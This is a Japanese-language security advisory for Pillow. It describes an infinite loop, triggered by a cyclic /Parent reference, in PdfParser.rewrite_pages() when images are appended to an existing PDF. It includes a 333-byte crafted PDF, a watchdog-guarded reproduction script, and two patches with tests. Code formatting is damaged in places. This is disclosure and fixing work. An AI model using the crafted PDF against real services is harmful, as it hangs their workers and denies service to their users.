Pillow: PdfParser.rewrite_pages関数における無限ループ、ページツリーの親要素の循環

```
============================================================================
PdfParser.rewrite_pages関数における無限ループ、ページツリーの親要素の循環
場所: src/PIL/PdfParser.py:505 PdfParser.rewrite_pages()関数内
コミット: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

数百バイト程度のPDFファイルがあると、Pillowが無限に停止し、あるプロセッサコアを100%で使用したままになることがあります。これは、アプリケーションがそのPDFファイルに画像を追記しようとした場合に発生します。`im.save(fp, "PDF", append=True)`(または`save_all=True, append=True`)を呼び出すアプリケーションに、既存のPDFファイルを提供することで、その処理を無限に継続させることができます。メモリ使用量は一定のままなので、外部からのタイムアウトによってのみ停止します。

このバグは、`src/PIL/PdfParser.py`にある`PdfParser.rewrite_pages()`関数内にあります(505行目の`while pages_tree_node_ref:`ループ)。この関数は、各元のページについて、`/Parent`チェーンを上方向にたどり、`/Parent`が存在しないノードに到達するまで処理を続けます。既に訪問したノードの記録は保持しないため、そのチェーン内にループが存在すると、処理は終了しません。最も単純なケースは、`/Pages`ルートが自身を自身の`/Parent`としてリストしている場合です。ページツリーノード間のより長い循環も同様の問題を引き起こします。処理の流れは、`PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`であり、保存先がファイルパスである場合でも、`BytesIO`オブジェクトである場合でも発生します。通常の`Image.open()`による処理では影響はありません。Pillowは、追記処理を行う場合にのみPDFファイルを解析するためです。

これは、CVE-2026-42310(同じパーサー内の循環するトレーラーの`/Prev`ループ)と関連する問題です。この問題に対処するために`read_prev_trailer()`関数に追加された`processed_offsets`という保護機構は、この処理には適用されません。このループは、24ecfe315ab5(2018年3月3日)で導入され、バージョン5.1.0以降のすべてのリリースに含まれています。

添付の再現コードは、メモリ上で2つのPDFファイルを生成し、それぞれに4x4の画像を付加します。通常の場合、処理は45ミリ秒程度で完了します。しかし、333バイトの自己参照を含むファイルの場合、`rewrite_pages()`関数内で処理が停止し、5秒間のウォッチドッグによって中断されます。2つの代替案が添付されています。1つは、この問題を黙って回避し、もう1つは、エラーメッセージを表示してファイルを拒否します。

## 詳細

`PdfParser.rewrite_pages()`関数は、既存のすべてのページの`/Parent`チェーンを上方向に辿り、`/Parent`が存在しないノードに到達するまで処理を続けます。この関数は、訪問したノードの記録を保持しないため、ページのツリーノードが、自身またはその下のノードを`/Parent`として参照している場合、無限ループに陥ります。

以下の333バイトのファイルは、オブジェクト2(ページのツリーのルート)が`/Parent 2 0 R`を宣言していることを除けば、有効な1ページのPDFファイルです。

```
%PDF-1.4
1 0 obj
<</Type /Catalog /Pages 2 0 R>>
endobj
2 0 obj
<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>
endobj
3 0 obj
<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>
endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000056 00000 n
0000000125 00000 n
trailer
<</Size 4 /Root 1 0 R>>
startxref
192
%%EOF
```

`Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)`をこれらのバイト列に対して実行すると、関数は決して戻らず、1つのコアが100%の負荷で動作し続けます(ターゲットがファイルパスで開き、読み書きモードになっている場合も同様です)。5秒後に`SIGALRM`シグナルで中断すると、毎回以下のトレースバックが発生します。

```
File "src/PIL/PdfImagePlugin.py", line 263, in _save
existing_pdf.write_catalog()
File "src/PIL/PdfParser.py", line 473, in write_catalog
self.rewrite_pages()
File "src/PIL/PdfParser.py", line 505, in rewrite_pages
while pages_tree_node_ref:
```

オブジェクト2に`/Parent 2 0 R`が含まれていない同じファイルの場合、約30ミリ秒で処理が完了します。

このループ:

```python
# src/PIL/PdfParser.py:483-510
def rewrite_pages(self) -> None:
pages_tree_nodes_to_delete = []
for i, page_ref in enumerate(self.orig_pages):
page_info = self.cached_objects[page_ref]
del self.xref_table[page_ref.object_id]
pages_tree_nodes_to_delete.append(page_info[PdfName(b"Parent")])
…
# xrefテーブルから不要なPagesツリーノードを削除
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
pages_tree_node_ref = pages_tree_node.get(b"Parent", None)
self.orig_pages = []
```

入力データがそこに到達するまでの流れ:`append=True`の場合、`PdfImagePlugin._save()`は既存のバイトデータを`PdfParser.PdfParser(f=fp, …, mode="r+b")`で開き(`src/PIL/PdfImagePlugin.py:199`)、そのコンストラクタは`read_pdf_info()`を呼び出します。`read_pdf_info()`はカタログを読み込み、`read_indirect()`を通じてページツリーのルートを読み込みます(`read_indirect()`は読み込んだすべてのオブジェクトを`self.cached_objects`に格納します(`src/PIL/PdfParser.py:1077`))、そして`/Kids`のエントリをすべて`read_indirect()`で読み込み、ツリーを平坦化します。したがって、解析後、`orig_pages`は`[3 0 R]`となり、オブジェクト2と3はどちらも`cached_objects`に含まれます。その後、`_save()`は`existing_pdf.write_catalog()`を呼び出し、それが`rewrite_pages()`を呼び出します。

上記のファイルについて、最初のループでは、3ページ目の`/Parent`である`2 0 R`を`pages_tree_nodes_to_delete`に追加します。内側の`while`ループでは、`cached_objects`内でオブジェクト2を検索し、最初のパスでxrefテーブルから削除し、`pages_tree_node_ref`をオブジェクト2の`/Parent`—つまり、再び`2 0 R`—に設定します。ループ本体内の処理は、その後の繰り返しで変化しないため、ループは終了しません。`cached_objects[2 0 R]`は決して削除されず、すでに削除されたIDを`XrefTable`から削除してもエラーは発生しません。`__delitem__`はIDを`deleted_entries`に記録するだけで、`__contains__`は`existing_entries`から常に肯定的な応答を返します。このループはI/Oやメモリ割り当てを行わないため、`MemoryError`や再帰の制限に引っかかることはありません。より長いサイクルでも、同様の動作をします。ただし、そのサイクル内のすべてのノードが`linearize_page_tree()`を通じて到達され、キャッシュされている必要があります(例:ルート2 → `/Kids [4 0 R]`、ノード4 → `/Kids [3 0 R] /Parent 2 0 R`、そしてルート2が`/Parent 4 0 R`を宣言する)。`/Parent`が一度も読み込まれたことのないオブジェクトを指している場合、`KeyError`が発生しますが、これは無害です。

この問題のパターンに対して、パーサーは上位レベルで対策を講じています。`read_prev_trailer()`(`src/PIL/PdfParser.py:699-722`)は`processed_offsets`リストを持ち、`/Prev`オフセットが繰り返されると`PdfFormatError("trailer loop found")`を発生させます。これは、CVE-2026-42310に対する修正です。`rewrite_pages()`内の`/Parent`の探索には、同様の保護機構はありません。

この保護されていない探索は、`24ecfe315ab5`(「issue #2959: 既存のページオブジェクトの誤った`/Parent`を修正(追加時)」、2018年3月3日)で導入され、バージョン5.1.0以降のすべてのリリースに含まれています。

## 影響

特定のアプリケーションが、自身で生成しなかったPDFファイルにページを追加しようとすると、無限に処理が停止し、CPUコアが占有されたままになります。これは、ユーザーが提供したドキュメントに対して、`im.save(fp, "PDF", append=True)` または `save_all=True, append=True` を実行した場合に、数百バイト程度の入力データで発生します。このループは、Pythonだけで構成されており、各イテレーションで2つの辞書参照を行っているため、メモリ使用量は一定で、メモリ制限によって終了することはありません。外部のウォッチドッグ機能のみがそれを停止させます。Webワーカーやバッチ変換処理においては、これはリクエストごとにサービス拒否(DoS)攻撃に相当します。攻撃者は、既存のPDFファイルのバイト列のみを制御できれば攻撃が可能であり、Pillowのデフォルト以外の設定は必要ありません。PillowはPDFファイルを読み込む機能を持たないため、単純な `Image.open()` を使用した処理には影響はありません。

これは、CVE-2026-42310(同じパーサー内の循環する `/Prev` チェーンによる無限ループ)と関連する問題ですが、同じクラスであり、異なるリンク構造を持ち、CVE-2026-42310に対する対策はこれには適用されません。

## 再現方法

`repro` は、インストールされているPillow(`/src/src/PIL`)に対して実行される単一のPythonスクリプトです。コンパイルや関連ファイルは不要で、実行には約5秒かかります。

このスクリプトは、`make_pdf()` 関数を使用して、メモリ上で2つの1ページのPDFファイルを生成します。それぞれのファイルには、カタログ(オブジェクト1)、`/Pages` ルート(オブジェクト2)、`/Page`(オブジェクト3)が含まれており、また、正しいXREFテーブルが含まれています。これら2つのファイルの違いは、オブジェクト2にあります。

- `control` ファイル: `<</Type /Pages /Kids [3 0 R] /Count 1>>`。これは通常のファイルです。
- `cyclic` ファイル: `<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>`。このファイルでは、ページツリーのルートが、自身を `/Parent` として参照しています。これは、上記の333バイトのファイルです。

スクリプトは、各PDFファイルに対して、まずバイト列を表示し、次に `Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)` を、5秒間の `SIGALRM` ウォッチドッグ機能の下で実行します。ウォッチドッグ機能が作動した場合、スクリプトは、`append` 処理中にPillowが実行していたフレームを表示します。まず `control` ファイルが実行され、正常に完了する必要があります。もし正常に完了しない場合、環境が破損しているため、スクリプトは結果を判断せずに `OK` と表示します。

このコミットでの予想される出力(PDFのダンプは省略):

```
[control] append finished in 0.045s
[cyclic] still running after 5s, interrupted in:
save() /src/src/PIL/Image.py:2724 save_handler(self, fp, filename)
_save() /src/src/PIL/PdfImagePlugin.py:263 existing_pdf.write_catalog()
write_catalog() /src/src/PIL/PdfParser.py:473 self.rewrite_pages()
rewrite_pages() /src/src/PIL/PdfParser.py:506 pages_tree_node = self.cached_objects[pages_tree_node_ref]
...
BUG
```

最も内側の1つまたは2つのフレームは、アラームがループ内の505~509行のどこかに発生する可能性があるため、実行ごとに変化します。 `rewrite_pages()` フレームは常に存在します。 コントロールのタイミングは、自己参照がない同じファイルがミリ秒単位で追加されることを示しています。 固定パーサーは、サイクリックな追加を同じように高速に完了するか、例外でファイルを拒否します。 いずれの場合も、スクリプトは `OK` と表示します。 添付されたパッチ1を適用すると、`[cyclic] append finished in 0.001s` と `OK` と表示されます。 添付されたパッチ2を適用すると、`[cyclic] raised PdfFormatError: page tree loop found` と `OK` と表示されます。 最後の行 `BUG` が表示されるのは、サイクリックな追加がまだ実行されているときにウォッチドッグが作動する場合のみです。

## 提案される修正

添付された両方のパッチは、根本原因を修正します。それは、`rewrite_pages()` 内の `/Parent` の探索が、訪問したノードの記録を保持していないことです。 いずれか一方をマージできます。これらは、不正なファイルに対する処理方法のみが異なります。

**添付されたパッチ1**(寛容; 私たちの好み)は、削除ループ内のすべてのページで共有される `processed_pages_tree_nodes` というセットを追加し、すでに見たノードに到達するとすぐに `while` ループから抜けます。

```python
# src/PIL/PdfParser.py, rewrite_pages()
processed_pages_tree_nodes: set[IndirectReference] = set()
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
if pages_tree_node_ref in processed_pages_tree_nodes:
break
processed_pages_tree_nodes.add(pages_tree_node_ref)
…
```

処理を中断しても、既にアクセス済みのノードはクロスリファレンステーブルから削除されているため、何も失われません。出力は、終了するすべてのファイルについて、現在のものと同じになります。上記のファイルは通常の方法で追記され、オブジェクト2が削除されます。副作用として、すべてのページが共有する祖先チェーンは、ページごとに一度ではなく、合計で一度だけ走査されます。

**添付のパッチ2(厳密版)**は、CVE-2026-42310の修正で導入された`read_prev_trailer()`のガードに従っています。各ページについて`processed_pages_tree_nodes`リストを保持し、`check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, "page tree loop found")`を呼び出すことで、循環ファイルは`PdfFormatError`で拒否されます。リストはページごとに保持されます。なぜなら、正しく構成されたドキュメントのページ間で祖先が正当に共有されている可能性があるからです。注意点として、エラーは`write_catalog()`から発生します。その時点では、新しいページオブジェクトは既に`r+b`ファイルに書き込まれていますが、新しいクロスリファレンス/トレーラーはまだ書き込まれていません。現在、追記処理中に発生する他のエラーは、ファイルを同じように部分的に書き込まれた状態のままにします。

各パッチは、`Tests/test_pdfparser.py`に`test_page_tree_parent_loop`という回帰テストを追加します。このテストは、上記の自己参照PDFをメモリ内で構築するため、バイナリテストアセットは不要です。パーサーには、`/Parent`を辿る他の処理は存在せず、`linearize_page_tree()`も`/Parent`を辿りません。

この処理は、`/Parent` リンクを辿りますが、`PdfParser` の他の部分では `/Parent` は参照されません。`linearize_page_tree()` は `/Kids` を下方向に辿るだけで、`/Parent` を参照することはありません。そのため、`/Kids` の再帰処理に追加される訪問済みセットは、このループには到達しません。上記のファイルは、完全にツリー構造になっている `/Kids` を持っていますが、それでも問題が発生します。どちらの処理にも独自の保護機構が必要であり、それらをまとめて「ページツリーの検証と追記」という一つの変更として実装するのが自然です。

## 関連する問題点

- **`PdfParser.linearize_page_tree()` における指数関数的なページツリーの展開(`/Kids` の繰り返し参照)が、PDF の追記処理を停止させる** — これは、同じパーサーの同じ `Image.save(..., "PDF", append=True)` エントリポイントにおける、このバグの対になるものです。`linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) は、すべての `/Kids` エントリに対して再帰的に処理を行い、訪問済みセットなしで `read_indirect()` を使用して再解析します。そのため、ノードが同じ子 N を D レベルにわたってリストしている `/Pages` チェーンは、N<sup>D</sup> 回のオブジェクト解析を必要とします(1.9 KB、幅10、レベル12のファイルは応答なし、5.8 KB、幅300、レベル3のファイルは13分間実行、直接的な `/Kids` の循環は `RecursionError` になる)。これは、このレポートと異なり、辿るリンクが `/Kids` (下方向) と `/Parent` (上方向) が異なる点、関数とフェーズが `PdfParser` コンストラクタ内の `read_pdf_info()` 中の `linearize_page_tree()` と、`write_catalog()` 中の `rewrite_pages()` が異なる点、導入されたコミットが `6207b44ab1ff` と `24ecfe315ab5` が異なる点、そして症状が指数関数的だが有限の CPU 使用率であるのに対し、真の無限ループになる点などが挙げられます。これには、別の修正が必要です。添付されているパッチは、`/Parent` の処理のみを保護し、`/Kids` の問題点を `linearize_page_tree()` で再現させます。一方、`/Kids` の保護は、この問題点を `rewrite_pages()` で再現させます。これは、それぞれのパッチを組み合わせて検証することで確認できます。両方の保護機構(`/Kids` の保護と添付されたパッチ2)を組み合わせて適用すると、両方の問題点は `PdfFormatError: page tree loop found` というエラーで拒否され、`Tests/test_pdfparser.py` と `Tests/test_file_pdf.py` の30個のテストがパスします。

## パッチ (1/2)

PdfParserのrewrite_pages()関数において、アクセスされたページツリーのノードを追跡するように変更しました。これにより、PDFファイルへの追加処理中に、`/Parent`チェーンが無限ループに陥るのを防ぎます。

この変更は、上記のコミットにおける`src/PIL/PdfParser.py`ファイルに適用されます。

```diff
diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py
index f2ae6b11f..f841aca14 100644
--- a/Tests/test_pdfparser.py
+++ b/Tests/test_pdfparser.py
@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None:
def test_trailer_loop() -> None:
with pytest.raises(PdfFormatError, match="trailer loop found"):
PdfParser("Tests/images/trailer_loop.pdf")
+
+
+@pytest.mark.timeout(5)
+def test_page_tree_parent_loop() -> None:
+ # /Pages ルートが自身を /Parent として参照している
+ objects = [
+ b"<</Type /Catalog /Pages 2 0 R>>",
+ b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>",
+ b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
+ ]
+ b = BytesIO(b"%PDF-1.4\n")
+ offsets = []
+ for object_id, body in enumerate(objects, start=1):
+ offsets.append(b.tell())
+ b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body))
+ xref_offset = b.tell()
+ b.write(b"xref\n0 4\n0000000000 65535 f \n")
+ b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets))
+ b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset)
+
+ with PdfParser(f=b, mode="r+b") as pdf:
+ pdf.start_writing()
+ pdf.write_catalog()
+ pdf.write_xref_and_trailer()
+ assert 2 in pdf.xref_table.deleted_entries
diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..9260cd8e7 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -501,8 +501,14 @@ class PdfParser:
# ページ参照を新しい参照に置き換える
self.pages[j] = new_page_ref
# 不要な Pages ツリーのノードを xref テーブルから削除する
+ processed_pages_tree_nodes: set[IndirectReference] = set()
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
+ if pages_tree_node_ref in processed_pages_tree_nodes:
+ # 祖先が共有されている
```

ページ間の関係、および不正な
+ # /Parent の参照チェーンが自分自身を指している場合
+ break
+ processed_pages_tree_nodes.add(pages_tree_node_ref)
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
```

## パッチ (2/2)

PdfParser.rewrite_pages() 関数において、ページの /Parent チェーンが自分自身を指している場合に、PdfFormatError("page tree loop found") を発生させる。

これは、上記のコミットにおける `src/PIL/PdfParser.py` に適用される。

```diff
diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py
index f2ae6b11f..24faeefbc 100644
--- a/Tests/test_pdfparser.py
+++ b/Tests/test_pdfparser.py
@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None:
def test_trailer_loop() -> None:
with pytest.raises(PdfFormatError, match="trailer loop found"):
PdfParser("Tests/images/trailer_loop.pdf")
+
+
+@pytest.mark.timeout(5)
+def test_page_tree_parent_loop() -> None:
+ # /Pages ルートが自身を /Parent として参照している
+ objects = [
+ b"<</Type /Catalog /Pages 2 0 R>>",
+ b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>",
+ b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
+ ]
+ b = BytesIO(b"%PDF-1.4\n")
+ offsets = []
+ for object_id, body in enumerate(objects, start=1):
+ offsets.append(b.tell())
+ b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body))
+ xref_offset = b.tell()
+ b.write(b"xref\n0 4\n0000000000 65535 f \n")
+ b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets))
+ b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset)
+
+ with PdfParser(f=b, mode="r+b") as pdf:
+ pdf.start_writing()
+ with pytest.raises(PdfFormatError, match="page tree loop found"):
+ pdf.write_catalog()
diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..9021b8d63 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -502,7 +502,13 @@ class PdfParser:
self.pages[j] = new_page_ref
# delete redundant Pages tree nodes from xref table
for pages_tree_node_ref in pages_tree_nodes_to_delete:
+ processed_pages_tree_nodes = []
while pages_tree_node_ref:
+ check_format_condition(
+ pages_tree_node_ref not in processed_pages_tree_nodes,
+ "page tree loop found",
+ )
+ processed_pages_t
```

```
ree_nodes.append(pages_tree_node_ref)
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
```

## 再現手順

<details>
<summary>再現手順 — `<code>repro</code>`, 3,152 バイト (開くにはクリック)</summary>

問題が発生すると、最後の行が `BUG` と表示され、発生しない場合は `OK` と表示されます。クリーンな状態のそのコミットで再実行すると、`BUG` と表示されました。

```python
#!/usr/bin/env python3
"""PdfParser.rewrite_pages() における無限ループ。循環参照を持つ /Parent チェーンが原因。

既存の PDF に画像を追記する (im.save(fp, "PDF", append=True)) と、rewrite_pages() が、元の各ページの /Parent チェーンを上方向にたどります。ただし、どのノードを訪問したかを記録する仕組みがないため、/Pages ノードが自身を /Parent として参照している場合、無限ループに陥ります。

4x4 の画像を、1ページしかない 2 つの PDF に追記します。この 2 つの PDF は、1 つのエントリが異なるだけです。
control: 通常の PDF -> 数ミリ秒で完了
cyclic: /Pages ルートも /Parent 2 0 R となっている -> 完了しない
SIGALRM ウォッチドッグが追記処理を中断し、処理が停止した行を表示します。
"""
import io
import signal
import time
import traceback

from PIL import Image

WATCHDOG_S = 5

def make_pdf(pages_root):
"""Catalog (1) -> /Pages ルート (2) -> /Page (3)、正しい xref テーブル付き。"""
objects = [
b"<</Type /Catalog /Pages 2 0 R>>",
pages_root,
b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
]
pdf = bytearray(b"%PDF-1.4\n")
offsets = []
for num, body in enumerate(objects, start=1):
offsets.append(len(pdf))
pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body)
xref_offset = len(pdf)
pdf += b"xref\n0 4\n0000000000 65535 f \n"
pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets)
pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset
return bytes(pdf)
```

```python
class StillRunning(BaseException):
pass

def on_alarm(signum, frame):
raise StillRunning

def append_image(name, pdf):
"""`pdf`に画像を追記します。ウォッチドッグが作動する前に完了した場合、Trueを返します。"""
print(f"--- {name}: {len(pdf)}バイトのPDF ---")
print(pdf.decode("latin-1"), end="")
signal.alarm(WATCHDOG_S)
start = time.monotonic()
try:
Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)
except StillRunning as e:
print(f"[{name}] {WATCHDOG_S}秒後にまだ実行中。以下の箇所で中断されました:")
for frame in traceback.extract_tb(e.__traceback__):
if "/PIL/" in frame.filename:
print(f" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}")
return False
except Exception as e: # ファイルの拒否は、正しい安全な結果です
print(f"[{name}] エラーが発生しました: {type(e).__name__}: {e}")
return True
finally:
signal.alarm(0)
print(f"[{name}] 追記処理は{time.monotonic() - start:.3f}秒で完了しました")
return True

signal.signal(signal.SIGALRM, on_alarm)

# セットアップ: 正常なファイルはすぐに追記されます。
control = make_pdf(b"<Type /Pages /Kids [3 0 R] /Count 1>>")
if not append_image("control", control):
print("controlケースが完了しませんでした。環境の問題、判断不能")
print("OK")
raise SystemExit

# 攻撃: 同じファイルですが、/Pagesのルートが自身の/Parentになっています。
cyclic = make_pdf(b"<Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>")
finished = append_image("cyclic", cyclic)

# 検証: 固定のパーサーが、controlケースと同様に完了するか、ファイルを拒否します。
print("BUG" if not finished else "OK")
```

影響を受けるパッケージ:
- pip (Python) Pillow: 影響あり >= 5.1.0, < 13.0.0、13.0.0で修正済み